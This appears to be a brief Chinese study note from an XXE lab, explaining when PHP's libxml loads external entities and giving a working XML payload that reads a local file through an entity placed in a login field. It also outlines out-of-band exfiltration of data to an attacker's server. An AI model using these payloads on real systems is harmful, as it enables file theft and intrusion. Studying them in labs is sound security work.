php_xxe
php要求版本5.2 ,5.3 ,5.4 因为xxe-labs的libxml版本为2.7.7,2.7.8允许加载外部实体,在2.9.1之后默认不解析外部实体
有回显xxe
- 抓包后构造xml声明和DTD 在本地创建a.txt,引用外部实体尝试读取a.txt
构造payload
<?xml version="1.0"?>
<!DOCTYPE user[
<!ENTITY zjh SYSTEM "file:///d:/a.txt">
]>
<user><username>&zjh;</username><password>zjh</password></user>
此方法利用外部实例进行文件读取,还可以利用外部实例进行内网端口扫描,ddos,命令执行等
无回显xxe
写入两个外部参数实体,第一个用来请求本地数据内容,第二个用 http 协议或者其他协议把请求到的数据作为参数带到我们的 vps,这样就实现了数据外带